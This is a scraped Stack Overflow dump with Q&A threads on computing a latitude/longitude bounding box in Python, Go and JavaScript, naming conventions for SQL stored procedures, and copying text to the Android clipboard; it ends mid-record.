float64) float64 {\n an := WGS84A * WGS84A * math.Cos(lat)\n bn := WGS84B * WGS84B * math.Sin(lat)\n\n ad := WGS84A * math.Cos(lat)\n bd := WGS84B * math.Sin(lat)\n\n return math.Sqrt((an*an + bn*bn) / (ad*ad + bd*bd))\n}\n\n// GetBoundingBox returns a BoundingBox encompassing the given lat/long point and radius\nfunc GetBoundingBox(latDeg float64, longDeg float64, radiusKm float64) BoundingBox {\n lat := deg2Rad(latDeg)\n lon := deg2Rad(longDeg)\n halfSide := 1000 * radiusKm\n\n // Radius of Earth at given latitude\n radius := getWgs84EarthRadius(lat)\n\n pradius := radius * math.Cos(lat)\n\n latMin := lat - halfSide/radius\n latMax := lat + halfSide/radius\n lonMin := lon - halfSide/pradius\n lonMax := lon + halfSide/pradius\n\n return BoundingBox{\n LatMin: rad2Deg(latMin),\n LatMax: rad2Deg(latMax),\n LonMin: rad2Deg(lonMin),\n LonMax: rad2Deg(lonMax),\n }\n}\n</code></pre>\n" }, { "answer_id": 66816851, "author": "Sujit Patel", "author_id": 5694156, "author_profile": "https://Stackoverflow.com/users/5694156", "pm_score": 2, "selected": false, "text": "<p>This is javascript code for getting bounding box co-ordinates based on lat/long and distance. tested and working fine.</p>\n<pre><code>Number.prototype.degreeToRadius = function () {\n return this * (Math.PI / 180);\n};\n\nNumber.prototype.radiusToDegree = function () {\n return (180 * this) / Math.PI;\n};\n\nfunction getBoundingBox(fsLatitude, fsLongitude, fiDistanceInKM) {\n\n if (fiDistanceInKM == null || fiDistanceInKM == undefined || fiDistanceInKM == 0)\n fiDistanceInKM = 1;\n \n var MIN_LAT, MAX_LAT, MIN_LON, MAX_LON, ldEarthRadius, ldDistanceInRadius, lsLatitudeInDegree, lsLongitudeInDegree,\n lsLatitudeInRadius, lsLongitudeInRadius, lsMinLatitude, lsMaxLatitude, lsMinLongitude, lsMaxLongitude, deltaLon;\n \n // coordinate limits\n MIN_LAT = (-90).degreeToRadius();\n MAX_LAT = (90).degreeToRadius();\n MIN_LON = (-180).degreeToRadius();\n MAX_LON = (180).degreeToRadius();\n\n // Earth's radius (km)\n ldEarthRadius = 6378.1;\n\n // angular distance in radians on a great circle\n ldDistanceInRadius = fiDistanceInKM / ldEarthRadius;\n\n // center point coordinates (deg)\n lsLatitudeInDegree = fsLatitude;\n lsLongitudeInDegree = fsLongitude;\n\n // center point coordinates (rad)\n lsLatitudeInRadius = lsLatitudeInDegree.degreeToRadius();\n lsLongitudeInRadius = lsLongitudeInDegree.degreeToRadius();\n\n // minimum and maximum latitudes for given distance\n lsMinLatitude = lsLatitudeInRadius - ldDistanceInRadius;\n lsMaxLatitude = lsLatitudeInRadius + ldDistanceInRadius;\n\n // minimum and maximum longitudes for given distance\n lsMinLongitude = void 0;\n lsMaxLongitude = void 0;\n\n // define deltaLon to help determine min and max longitudes\n deltaLon = Math.asin(Math.sin(ldDistanceInRadius) / Math.cos(lsLatitudeInRadius));\n\n if (lsMinLatitude &gt; MIN_LAT &amp;&amp; lsMaxLatitude &lt; MAX_LAT) {\n lsMinLongitude = lsLongitudeInRadius - deltaLon;\n lsMaxLongitude = lsLongitudeInRadius + deltaLon;\n if (lsMinLongitude &lt; MIN_LON) {\n lsMinLongitude = lsMinLongitude + 2 * Math.PI;\n }\n if (lsMaxLongitude &gt; MAX_LON) {\n lsMaxLongitude = lsMaxLongitude - 2 * Math.PI;\n }\n }\n\n // a pole is within the given distance\n else {\n lsMinLatitude = Math.max(lsMinLatitude, MIN_LAT);\n lsMaxLatitude = Math.min(lsMaxLatitude, MAX_LAT);\n lsMinLongitude = MIN_LON;\n lsMaxLongitude = MAX_LON;\n }\n\n return [\n lsMinLatitude.radiusToDegree(),\n lsMinLongitude.radiusToDegree(),\n lsMaxLatitude.radiusToDegree(),\n lsMaxLongitude.radiusToDegree()\n ];\n};\n</code></pre>\n<p>Use getBoundingBox function like below to draw a bounding box.</p>\n<pre><code>var lsRectangleLatLong = getBoundingBox(parseFloat(latitude), parseFloat(longitude), lsDistance);\n if (lsRectangleLatLong != null &amp;&amp; lsRectangleLatLong != undefined) {\n latLngArr.push({ lat: lsRectangleLatLong[0], lng: lsRectangleLatLong[1] });\n latLngArr.push({ lat: lsRectangleLatLong[0], lng: lsRectangleLatLong[3] });\n latLngArr.push({ lat: lsRectangleLatLong[2], lng: lsRectangleLatLong[3] });\n latLngArr.push({ lat: lsRectangleLatLong[2], lng: lsRectangleLatLong[1] });\n }\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238260", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21672/" ]
I have given a location defined by latitude and longitude. Now i want to calculate a bounding box within e.g. 10 kilometers of that point. The bounding box should be defined as latmin, lngmin and latmax, lngmax. I need this stuff in order to use the [panoramio API](http://www.panoramio.com/api/). Does someone know the formula of how to get thos points? **Edit:** Guys i am looking for a formula/function which takes lat & lng as input and returns a bounding box as latmin & lngmin and latmax & latmin. Mysql, php, c#, javascript is fine but also pseudocode should be okay. **Edit:** I am not looking for a solution which shows me the distance of 2 points
I suggest to approximate locally the Earth surface as a sphere with radius given by the WGS84 ellipsoid at the given latitude. I suspect that the exact computation of latMin and latMax would require elliptic functions and would not yield an appreciable increase in accuracy (WGS84 is itself an approximation). My implementation follows (It's written in Python; I have not tested it): ```py # degrees to radians def deg2rad(degrees): return math.pi*degrees/180.0 # radians to degrees def rad2deg(radians): return 180.0*radians/math.pi # Semi-axes of WGS-84 geoidal reference WGS84_a = 6378137.0 # Major semiaxis [m] WGS84_b = 6356752.3 # Minor semiaxis [m] # Earth radius at a given latitude, according to the WGS-84 ellipsoid [m] def WGS84EarthRadius(lat): # http://en.wikipedia.org/wiki/Earth_radius An = WGS84_a*WGS84_a * math.cos(lat) Bn = WGS84_b*WGS84_b * math.sin(lat) Ad = WGS84_a * math.cos(lat) Bd = WGS84_b * math.sin(lat) return math.sqrt( (An*An + Bn*Bn)/(Ad*Ad + Bd*Bd) ) # Bounding box surrounding the point at given coordinates, # assuming local approximation of Earth surface as a sphere # of radius given by WGS84 def boundingBox(latitudeInDegrees, longitudeInDegrees, halfSideInKm): lat = deg2rad(latitudeInDegrees) lon = deg2rad(longitudeInDegrees) halfSide = 1000*halfSideInKm # Radius of Earth at given latitude radius = WGS84EarthRadius(lat) # Radius of the parallel at given latitude pradius = radius*math.cos(lat) latMin = lat - halfSide/radius latMax = lat + halfSide/radius lonMin = lon - halfSide/pradius lonMax = lon + halfSide/pradius return (rad2deg(latMin), rad2deg(lonMin), rad2deg(latMax), rad2deg(lonMax)) ``` EDIT: The following code converts (degrees, primes, seconds) to degrees + fractions of a degree, and vice versa (not tested): ```py def dps2deg(degrees, primes, seconds): return degrees + primes/60.0 + seconds/3600.0 def deg2dps(degrees): intdeg = math.floor(degrees) primes = (degrees - intdeg)*60.0 intpri = math.floor(primes) seconds = (primes - intpri)*60.0 intsec = round(seconds) return (int(intdeg), int(intpri), int(intsec)) ```
238,267
<p>I have seen various rules for naming stored procedures. </p> <p>Some people prefix the sproc name with usp_, others with an abbreviation for the app name, and still others with an owner name. You shouldn't use sp_ in SQL Server unless you really mean it.</p> <p>Some start the proc name with a verb (Get, Add, Save, Remove). Others emphasize the entity name(s).</p> <p>On a database with hundreds of sprocs, it can be very hard to scroll around and find a suitable sproc when you think one already exists. Naming conventions can make locating a sproc easier.</p> <p>Do you use a naming convention? Please describe it, and explain why you prefer it over other choices.</p> <p><strong>Summary of replies:</strong> </p> <ul> <li>Everybody seems to advocate consistency of naming, that it might be more important for everyone to use the same naming convention than which particular one is used.</li> <li>Prefixes: While a lot of folks use usp_ or something similar (but rarely sp_), many others use database or app name. One clever DBA uses gen, rpt and tsk to distinguish general CRUD sprocs from those used for reporting or tasks.</li> <li>Verb + Noun seems to be slightly more popular than Noun + Verb. Some people use the SQL keywords (Select, Insert, Update, Delete) for the verbs, while others use non-SQL verbs (or abbreviations for them) like Get and Add. Some distinguish between singluar and plural nouns to indicate whether one or many records are being retrieved.</li> <li>An additional phrase is suggested at the end, where appropriate. GetCustomerById, GetCustomerBySaleDate.</li> <li>Some people use underscores between the name segments, and some avoid underscores. app_ Get_Customer vs. appGetCustomer -- I guess it's a matter of readability.</li> <li>Large collections of sprocs can be segregated into Oracle packages or Management Studio (SQL Server) solutions and projects, or SQL Server schemas.</li> <li>Inscrutable abbreviations should be avoided.</li> </ul> <p><strong>Why I choose the answer I did:</strong> There are SO many good responses. Thank you all! As you can see, it would be very hard to choose just one. The one I chose resonated with me. I have followed the same path he describes -- trying to use Verb + Noun and then not being able to find all of the sprocs that apply to Customer. </p> <p>Being able to locate an existing sproc, or to determine if one even exists, is very important. Serious problems can arise if someone inadvertently creates a duplicate sproc with another name. </p> <p>Since I generally work on very large apps with hundreds of sprocs, I have a preference for the easiest-to-find naming method. For a smaller app, I might advocate Verb + Noun, as it follows the general coding convention for method names.</p> <p>He also advocates prefixing with app name instead of the not very useful usp_. As several people pointed out, sometimes the database contains sprocs for multiple apps. So, prefixing with app name helps to segregate the sprocs AND helps DBAs and others to determine which app the sproc is used for.</p>
[ { "answer_id": 238275, "author": "friol", "author_id": 23034, "author_profile": "https://Stackoverflow.com/users/23034", "pm_score": 2, "selected": false, "text": "<p>I always encapsulate the stored procedures in <strong>packages</strong> (I'm using Oracle, at work). That will reduce the number of separate objects and help code reuse.</p>\n\n<p>The naming convention is a matter of taste and something you should agree with all the other developers at project start.</p>\n" }, { "answer_id": 238289, "author": "Steven A. Lowe", "author_id": 9345, "author_profile": "https://Stackoverflow.com/users/9345", "pm_score": 3, "selected": false, "text": "<p>for small databases, i use uspTableNameOperationName, e.g. uspCustomerCreate, uspCustomerDelete, etc. This facilitates grouping by 'main' entity.</p>\n\n<p>for larger databases, add a schema or subsystem name, e.g. Receiving, Purchasing, etc. to keep them grouped together (since sql server likes to display them alphabetically)</p>\n\n<p>i try to avoid abbreviations in the names, for clarity (and new people on the project don't have to wonder what 'UNAICFE' stands for because the sproc is named uspUsingNoAbbreviationsIncreasesClarityForEveryone)</p>\n" }, { "answer_id": 238290, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 1, "selected": false, "text": "<p>I think the usp_ naming convention does nobody any good.</p>\n\n<p>In the past, I've used Get/Update/Insert/Delete prefixes for CRUD operations, but now since I use Linq to SQL or the EF to do most of my CRUD work, these are entirely gone. Since I have so few stored procs in my new applications, the naming conventions no longer matter like they used to ;-)</p>\n" }, { "answer_id": 238295, "author": "driis", "author_id": 13627, "author_profile": "https://Stackoverflow.com/users/13627", "pm_score": 1, "selected": false, "text": "<p>For the current, application I am working on, we have a prefix that identifies the application name (four lowercase letters). The reason for this is that our application must be able to co-exist with a legacy application in the same database, so the prefix is a must.</p>\n\n<p>If we did not have the legacy constraint, I am quite sure that we would not be using a prefix.</p>\n\n<p>After the prefix we usually start the SP name with a verb that describes what the procedure does, and then the name of the entity that we operate on. Pluralization of the entity name is allowed - We try to emphasize readability, so that it is obvious what the procedure does from the name alone.</p>\n\n<p>Typical stored procedure names on our team would be:</p>\n\n<pre><code>shopGetCategories\nshopUpdateItem\n</code></pre>\n" }, { "answer_id": 238309, "author": "Sören Kuklau", "author_id": 1600, "author_profile": "https://Stackoverflow.com/users/1600", "pm_score": 4, "selected": false, "text": "<p><a href=\"http://www.joelonsoftware.com/articles/Wrong.html\" rel=\"noreferrer\">Systems Hungarian</a> (like the above \"usp\" prefix) makes me shudder.</p>\n\n<p>We share many stored procedures across different, similarly-structured databases, so for database-specific ones, we use a prefix of the database name itself; shared procedures have no prefix. I suppose using different schemas might be an alternative to get rid of such somewhat ugly prefixes altogether.</p>\n\n<p>The actual name after the prefix is hardly different from function naming: typically a verb like \"Add\", \"Set\", \"Generate\", \"Calculate\", \"Delete\", etc., followed by several more specific nouns such as \"User\", \"DailyRevenues\", and so on.</p>\n\n<p>Responding to Ant's comment:</p>\n\n<ol>\n<li>The difference between a table and a view is relevant to those who design the database schema, not those who access or modify its contents. In the rare case of needing schema specifics, it's easy enough to find. For the casual SELECT query, it is irrelevant. In fact, I regard being able to treat tables and views the same as a big advantage.</li>\n<li>Unlike with functions and stored procedures, the name of a table or view is unlikely to start with a verb, or be anything but one or more nouns.</li>\n<li>A function requires the schema prefix to be called. In fact, the call syntax (that we use, anyway) is very different between a function and a stored procedure. But even if it weren't, the same as 1. would apply: if I can treat functions and stored procedures the same, why shouldn't I?</li>\n</ol>\n" }, { "answer_id": 238324, "author": "Cruachan", "author_id": 7315, "author_profile": "https://Stackoverflow.com/users/7315", "pm_score": 1, "selected": false, "text": "<p>I don't think it really matters precisely what your prefix is so long as you're logical and consistent. Personally I use</p>\n\n<p>spu_[action description][process description]</p>\n\n<p>where action description is one of a small range of typical actions such as get, set, archive, insert, delete etc. The process description is something short but descriptive, for example</p>\n\n<pre>\nspu_archiveCollectionData \n</pre>\n\n<p>or</p>\n\n<pre>\nspu_setAwardStatus\n</pre>\n\n<p>I name my functions similarly, but prefix with udf_</p>\n\n<p>I have seen people attempt to use pseudo-Hungarian notation for procedure naming, which in my opinion hides more than it reveals. So long as when I list my procedures alphabetically I can see them grouped by functionality then for me that seems to be the sweet spot between order and unnecessary rigour</p>\n" }, { "answer_id": 238330, "author": "ConcernedOfTunbridgeWells", "author_id": 15401, "author_profile": "https://Stackoverflow.com/users/15401", "pm_score": 3, "selected": false, "text": "<p>Starting a stored procedure name with<code>sp_</code> is bad in SQL Server because the system sprocs all start with sp_. Consistent naming (even to the extent of hobgoblin-dom) is useful because it facilititates automated tasks based on the data dictionary. Prefixes are slightly less useful in SQL Server 2005 as it supports schemas, which can be used for various types of namespaces in the way that prefixes on names used to. For example, on a star schema, one could have <em>dim</em> and <em>fact</em> schemas and refer to tables by this convention.</p>\n\n<p>For stored procedures, prefixing is useful for the purpose of indentifying application sprocs from system sprocs. <code>up_</code> vs. <code>sp_</code> makes it relatively easy to identify non-system stored procedures from the data dictionary. </p>\n" }, { "answer_id": 238346, "author": "dnolan", "author_id": 29086, "author_profile": "https://Stackoverflow.com/users/29086", "pm_score": 7, "selected": true, "text": "<p>For my last project i used usp_[Action][Object][Process] so for example, usp_AddProduct or usp_GetProductList, usp_GetProductDetail. However now the database is at 700 procedures plus, it becomes a lot harder to find all procedures on a specific object. For example i now have to search 50 odd Add procedures for the Product add, and 50 odd for the Get etc.</p>\n\n<p>Because of this in my new application I'm planning on grouping procedure names by object, I'm also dropping the usp as I feel it is somewhat redundant, other than to tell me its a procedure, something I can deduct from the name of the procedure itself.</p>\n\n<p>The new format is as follows</p>\n\n<pre><code>[App]_[Object]_[Action][Process]\n\nApp_Tags_AddTag\nApp_Tags_AddTagRelations\nApp_Product_Add \nApp_Product_GetList\nApp_Product_GetSingle\n</code></pre>\n\n<p>It helps to group things for easier finding later, especially if there are a large amount of sprocs.</p>\n\n<p>Regarding where more than one object is used, I find that most instances have a primary and secondary object, so the primary object is used in the normal instance, and the secondary is refered to in the process section, for example App_Product_AddAttribute. </p>\n" }, { "answer_id": 238355, "author": "Ant", "author_id": 2289, "author_profile": "https://Stackoverflow.com/users/2289", "pm_score": 2, "selected": false, "text": "<p>I always use:</p>\n\n<p>usp[Table Name][Action][Extra Detail]</p>\n\n<p>Given a table called \"tblUser\", that gives me:</p>\n\n<ul>\n<li>uspUserCreate</li>\n<li>uspUserSelect</li>\n<li>uspUserSelectByNetworkID</li>\n</ul>\n\n<p>The procedures are alphabetically sorted by table name and by functionality, so it's easy to see what I can do to any given table. Using the prefix \"usp\" lets me know what I'm calling if I'm (for example) writing a 1000-line procedure that interacts with other procedures, multiple tables, functions, views and servers.</p>\n\n<p>Until the editor in the SQL Server IDE is as good as Visual Studio I'm keeping the prefixes.</p>\n" }, { "answer_id": 238364, "author": "computinglife", "author_id": 17224, "author_profile": "https://Stackoverflow.com/users/17224", "pm_score": 1, "selected": false, "text": "<p>Avoid sp_* in SQl server coz all system stored prcedures begins with sp_ and therefore it becomes more harder for the system to find the object corresponding to the name. </p>\n\n<p>So if you begin with something other than sp_ things become easier. </p>\n\n<p>So we use a common naming of Proc_ to begin with. That makes it easier to identify the procedures if presented with one big schema file. </p>\n\n<p>Apart from that we assign a prefix that identify the function. Like </p>\n\n<p><code>Proc_Poll_Interface, Proc_Inv_Interface</code> etc. </p>\n\n<p>This allows us to find all stored procs which does the job of POLL vs that does Inventory etc. </p>\n\n<p>Anyhow the prefix system depends on your problem domain. But al said and done something similar ought to be present even if it be just to allow people to quicly locate the stored procedure in the explorere drop down for editing. </p>\n\n<p>other eg's of function. </p>\n\n<pre><code>Proc_Order_Place\nProc_order_Delete\nProc_Order_Retrieve\nProc_Order_History\n</code></pre>\n\n<p>We followed the function based naming coz Procs are akin to code / function rather than static objects like tables. It doesnt help that Procs might work with more than one table. </p>\n\n<p>If the proc performed more functions than can be handled in a single name, it means your proc is doing way much more than necessary and its time to split them again.</p>\n\n<p>Hope that helps.</p>\n" }, { "answer_id": 238394, "author": "DOK", "author_id": 27637, "author_profile": "https://Stackoverflow.com/users/27637", "pm_score": 5, "selected": false, "text": "<p><strong>Here's some clarification about the sp_ prefix issue in SQL Server.</strong></p>\n\n<p>Stored procedures named with the prefix sp_ are system sprocs stored in the Master database.</p>\n\n<p>If you give your sproc this prefix, SQL Server looks for them in the Master database first, then the context database, thus unnecessarily wasting resources. And, if the user-created sproc has the same name as a system sproc, the user-created sproc won't be executed.</p>\n\n<p>The sp_ prefix indicates that the sproc is accessible from all databases, but that it should be executed in the context of the current database.</p>\n\n<p><a href=\"http://www.sqlmag.com/Article/ArticleID/23011/sql_server_23011.html\" rel=\"noreferrer\">Here's</a> a nice explanation, which includes a demo of the performance hit.</p>\n\n<p><a href=\"http://rakph.wordpress.com/2008/04/19/tips-store-procedure/\" rel=\"noreferrer\">Here's</a> another helpful source provided by Ant in a comment.</p>\n" }, { "answer_id": 238428, "author": "Russ Cam", "author_id": 1831, "author_profile": "https://Stackoverflow.com/users/1831", "pm_score": 2, "selected": false, "text": "<p>application prefix_ operation prefix_ description of database objects involved <em>(minus the spaces between underscores - had to put spaces in for them to appear)</em>.</p>\n\n<p>operation prefixes we use -</p>\n\n<ul>\n<li>“<em>get</em>” – returns a recordset</li>\n<li>“<em>ins</em>” – inserts data</li>\n<li>“<em>upd</em>” – updates data</li>\n<li>“<em>del</em>” – deletes data</li>\n</ul>\n\n<p><em>e.g</em></p>\n\n<p><strong>wmt_ ins _ customer _details</strong></p>\n\n<p>\"workforce management tool, insert details into customer table\"</p>\n\n<p><strong>advantages</strong></p>\n\n<p>All stored procedures relating to the same application are grouped together by name. Within the group, stored procedures that carry out the same kind of operation (e.g. inserts, updates, etc.) are grouped together.</p>\n\n<p>This system works well for us, having approx. 1000 stored procedures in one database off the top of my head.</p>\n\n<p>Haven't come across any disadvantages to this approach so far.</p>\n" }, { "answer_id": 238435, "author": "Pittsburgh DBA", "author_id": 10224, "author_profile": "https://Stackoverflow.com/users/10224", "pm_score": 3, "selected": false, "text": "<p>I have used pretty much all of the different systems over the years. I finally developed this one, which I continue to use today:</p>\n\n<p>Prefix :<br></p>\n\n<ul>\n<li>gen - General: CRUD, mostly</li>\n<li>rpt - Report: self-explanatory</li>\n<li>tsk - Task: usually something with procedural logic, run via scheduled jobs</li>\n</ul>\n\n<p>Action Specifier:<br></p>\n\n<pre><code>Ins - INSERT\nSel - SELECT\nUpd - UPDATE\nDel - DELETE\n</code></pre>\n\n<p>(In cases where the procedure does many things, the overall goal is used to choose the action specifier. For instance, a customer INSERT may require a good deal of prep work, but the overall goal is INSERT, so \"Ins\" is chosen.</p>\n\n<p>Object:</p>\n\n<p>For gen (CRUD), this is the table or view name being affected. For rpt (Report), this is the short description of the report. For tsk (Task) this is the short description of the task.</p>\n\n<p>Optional Clarifiers:</p>\n\n<p>These are optional bits of information used to enhance the understanding of the procedure. Examples include \"By\", \"For\", etc.</p>\n\n<p>Format:</p>\n\n<p>[Prefix][Action Specifier][Entity][Optional Clarifiers]</p>\n\n<p>Examples of procedure names:</p>\n\n<pre><code>genInsOrderHeader\n\ngenSelCustomerByCustomerID\ngenSelCustomersBySaleDate\n\ngenUpdCommentText\n\ngenDelOrderDetailLine\n\nrptSelCustomersByState\nrptSelPaymentsByYear\n\ntskQueueAccountsForCollection\n</code></pre>\n" }, { "answer_id": 238612, "author": "pearcewg", "author_id": 24126, "author_profile": "https://Stackoverflow.com/users/24126", "pm_score": 2, "selected": false, "text": "<p>I currently use a format which is like the following</p>\n\n<p>Notation:</p>\n\n<p>[PREFIX]<em>[APPLICATION]</em>[MODULE]_[NAME]</p>\n\n<p>Example:</p>\n\n<p>P_CMS_USER_UserInfoGet</p>\n\n<p>I like this notation for a few reasons:</p>\n\n<ul>\n<li>starting with very simple Prefix allows code to be written to only execute objects beggining with the prefix (to reduce SQL injection, for example)</li>\n<li>in our larger environment, multiple teams are working on different apps which run of the same database architecture. The Application notation designates which group owns the SP.</li>\n<li>The Module and Name sections simply complete the heirarchy. All names should be able to be matched to Group/App, Module, Function from the heirarchy.</li>\n</ul>\n" }, { "answer_id": 238772, "author": "tsilb", "author_id": 11112, "author_profile": "https://Stackoverflow.com/users/11112", "pm_score": 2, "selected": false, "text": "<p>GetXXX - Gets XXX based on @ID</p>\n\n<p>GetAllXXX - Gets all XXX</p>\n\n<p>PutXXX - Inserts XXX if passed @ID is -1; else updates</p>\n\n<p>DelXXX - Deletes XXX based on @ID</p>\n" }, { "answer_id": 238813, "author": "Jason Kester", "author_id": 27214, "author_profile": "https://Stackoverflow.com/users/27214", "pm_score": 4, "selected": false, "text": "<p><strong>TableName_WhatItDoes</strong></p>\n\n<ul>\n<li><p>Comment_GetByID</p></li>\n<li><p>Customer_List</p></li>\n<li><p>UserPreference_DeleteByUserID</p></li>\n</ul>\n\n<p>No prefixes or silly hungarian nonsense. Just the name of the table it's most closely associated with, and a quick description of what it does.</p>\n\n<p>One caveat to the above: I personally always prefix all my autogenerated CRUD with zCRUD_ so that it sorts to the end of the list where I don't have to look at it.</p>\n" }, { "answer_id": 991670, "author": "Gaurav Arora", "author_id": 122574, "author_profile": "https://Stackoverflow.com/users/122574", "pm_score": 1, "selected": false, "text": "<p>I joined late the thread but I want to enter my reply here:</p>\n\n<p>In my last two projects there are different trends like, in one we used:</p>\n\n<blockquote>\n <p>To get Data : s&lt;tablename&gt;&#95;G <br />\n To delete Data : s&lt;tablename&gt;&#95;D<br />\n To insert Data : s&lt;tablename&gt;&#95;I<br />\n To update Data : s&lt;tablename&gt;&#95;U<br /></p>\n</blockquote>\n\n<p>This naming conventions is also followed in front-end by prefixing the word <b>dt</b>.</p>\n\n<p><strong>Example:</strong></p>\n\n<pre><code>exec sMedicationInfo_G\nexec sMedicationInfo_D\nexec sMedicationInfo_I\nexec sMedicationInfo_U</code></pre>\n\n<p>With the help of above naming conventions in our application we have a good and easy to remember names.</p>\n\n<p>While in second project we used the same naming conventions with lill difference:</p>\n\n<blockquote>\n <p>To get Data : sp&#95;&lt;tablename&gt;G<br />\n To delete Data : sp&#95;&lt;tablename&gt;D<br />\n To insert Data : sp&#95;&lt;tablename&gt;I<br />\n To update Data : sp&#95;&lt;tablename&gt;U</p>\n</blockquote>\n\n<p><strong>Example:</strong></p>\n\n<pre><code>exec sp_MedicationInfoG\nexec sp_MedicationInfoD\nexec sp_MedicationInfoI\nexec sp_MedicationInfoU</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238267", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27637/" ]
I have seen various rules for naming stored procedures. Some people prefix the sproc name with usp\_, others with an abbreviation for the app name, and still others with an owner name. You shouldn't use sp\_ in SQL Server unless you really mean it. Some start the proc name with a verb (Get, Add, Save, Remove). Others emphasize the entity name(s). On a database with hundreds of sprocs, it can be very hard to scroll around and find a suitable sproc when you think one already exists. Naming conventions can make locating a sproc easier. Do you use a naming convention? Please describe it, and explain why you prefer it over other choices. **Summary of replies:** * Everybody seems to advocate consistency of naming, that it might be more important for everyone to use the same naming convention than which particular one is used. * Prefixes: While a lot of folks use usp\_ or something similar (but rarely sp\_), many others use database or app name. One clever DBA uses gen, rpt and tsk to distinguish general CRUD sprocs from those used for reporting or tasks. * Verb + Noun seems to be slightly more popular than Noun + Verb. Some people use the SQL keywords (Select, Insert, Update, Delete) for the verbs, while others use non-SQL verbs (or abbreviations for them) like Get and Add. Some distinguish between singluar and plural nouns to indicate whether one or many records are being retrieved. * An additional phrase is suggested at the end, where appropriate. GetCustomerById, GetCustomerBySaleDate. * Some people use underscores between the name segments, and some avoid underscores. app\_ Get\_Customer vs. appGetCustomer -- I guess it's a matter of readability. * Large collections of sprocs can be segregated into Oracle packages or Management Studio (SQL Server) solutions and projects, or SQL Server schemas. * Inscrutable abbreviations should be avoided. **Why I choose the answer I did:** There are SO many good responses. Thank you all! As you can see, it would be very hard to choose just one. The one I chose resonated with me. I have followed the same path he describes -- trying to use Verb + Noun and then not being able to find all of the sprocs that apply to Customer. Being able to locate an existing sproc, or to determine if one even exists, is very important. Serious problems can arise if someone inadvertently creates a duplicate sproc with another name. Since I generally work on very large apps with hundreds of sprocs, I have a preference for the easiest-to-find naming method. For a smaller app, I might advocate Verb + Noun, as it follows the general coding convention for method names. He also advocates prefixing with app name instead of the not very useful usp\_. As several people pointed out, sometimes the database contains sprocs for multiple apps. So, prefixing with app name helps to segregate the sprocs AND helps DBAs and others to determine which app the sproc is used for.
For my last project i used usp\_[Action][Object][Process] so for example, usp\_AddProduct or usp\_GetProductList, usp\_GetProductDetail. However now the database is at 700 procedures plus, it becomes a lot harder to find all procedures on a specific object. For example i now have to search 50 odd Add procedures for the Product add, and 50 odd for the Get etc. Because of this in my new application I'm planning on grouping procedure names by object, I'm also dropping the usp as I feel it is somewhat redundant, other than to tell me its a procedure, something I can deduct from the name of the procedure itself. The new format is as follows ``` [App]_[Object]_[Action][Process] App_Tags_AddTag App_Tags_AddTagRelations App_Product_Add App_Product_GetList App_Product_GetSingle ``` It helps to group things for easier finding later, especially if there are a large amount of sprocs. Regarding where more than one object is used, I find that most instances have a primary and secondary object, so the primary object is used in the normal instance, and the secondary is refered to in the process section, for example App\_Product\_AddAttribute.
238,284
<p>I'm building an Android app and I want to copy the text value of an EditText widget. It's possible for the user to press <code>Menu+A</code> then <code>Menu+C</code> to copy the value, but how would I do this programmatically?</p>
[ { "answer_id": 238297, "author": "FlySwat", "author_id": 1965, "author_profile": "https://Stackoverflow.com/users/1965", "pm_score": 10, "selected": true, "text": "<p>Use <a href=\"https://developer.android.com/reference/android/content/ClipboardManager#setPrimaryClip(android.content.ClipData)\" rel=\"noreferrer\"><code>ClipboardManager#setPrimaryClip</code></a> method:</p>\n\n<pre><code>import android.content.ClipboardManager;\n\n// ...\n\nClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); \nClipData clip = ClipData.newPlainText(\"label\", \"Text to copy\");\nclipboard.setPrimaryClip(clip);\n</code></pre>\n\n<p><a href=\"http://developer.android.com/reference/android/content/ClipboardManager.html\" rel=\"noreferrer\"><code>ClipboardManager</code> API reference</a></p>\n" }, { "answer_id": 7953397, "author": "ayrina", "author_id": 1017908, "author_profile": "https://Stackoverflow.com/users/1017908", "pm_score": 4, "selected": false, "text": "<pre><code>public void onClick (View v) \n{\n switch (v.getId())\n {\n case R.id.ButtonCopy:\n copyToClipBoard();\n break;\n case R.id.ButtonPaste:\n pasteFromClipBoard();\n break;\n default:\n Log.d(TAG, \"OnClick: Unknown View Received!\");\n break;\n }\n}\n\n// Copy EditCopy text to the ClipBoard\nprivate void copyToClipBoard() \n{\n ClipboardManager clipMan = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\n clipMan.setPrimaryClip(editCopy.getText());\n}\n</code></pre>\n\n<p>you can try this..</p>\n" }, { "answer_id": 9941666, "author": "Viachaslau Tysianchuk", "author_id": 74144, "author_profile": "https://Stackoverflow.com/users/74144", "pm_score": 4, "selected": false, "text": "<p>Googling brings you to android.content.ClipboardManager and you could decide, as I did, that Clipboard is not available on API &lt; 11, because the documentation page says \"Since: API Level 11\".</p>\n\n<p>There are actually two classes, second one extending the first - android.text.ClipboardManager and android.content.ClipboardManager.</p>\n\n<p>android.text.ClipboardManager is existing since API 1, but it works only with text content.</p>\n\n<p>android.content.ClipboardManager is the preferred way to work with clipboard, but it's not available on API Level &lt; 11 (Honeycomb).</p>\n\n<p>To get any of them you need the following code:</p>\n\n<pre><code>ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);\n</code></pre>\n\n<p>But for <em>API &lt; 11</em> you have to import <code>android.text.ClipboardManager</code> and for <em>API >= 11</em> <code>android.content.ClipboardManager</code></p>\n" }, { "answer_id": 11012443, "author": "Warpzit", "author_id": 969325, "author_profile": "https://Stackoverflow.com/users/969325", "pm_score": 8, "selected": false, "text": "<p>So everyone agree on how this should be done, but since no one want to give a complete solution, here goes:</p>\n\n<pre><code>int sdk = android.os.Build.VERSION.SDK_INT;\nif(sdk &lt; android.os.Build.VERSION_CODES.HONEYCOMB) {\n android.text.ClipboardManager clipboard = (android.text.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\n clipboard.setText(\"text to clip\");\n} else {\n android.content.ClipboardManager clipboard = (android.content.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); \n android.content.ClipData clip = android.content.ClipData.newPlainText(\"text label\",\"text to clip\");\n clipboard.setPrimaryClip(clip);\n}\n</code></pre>\n\n<p>I assume you have something like following declared in manifest:</p>\n\n<pre><code>&lt;uses-sdk android:minSdkVersion=\"7\" android:targetSdkVersion=\"14\" /&gt;\n</code></pre>\n" }, { "answer_id": 26868729, 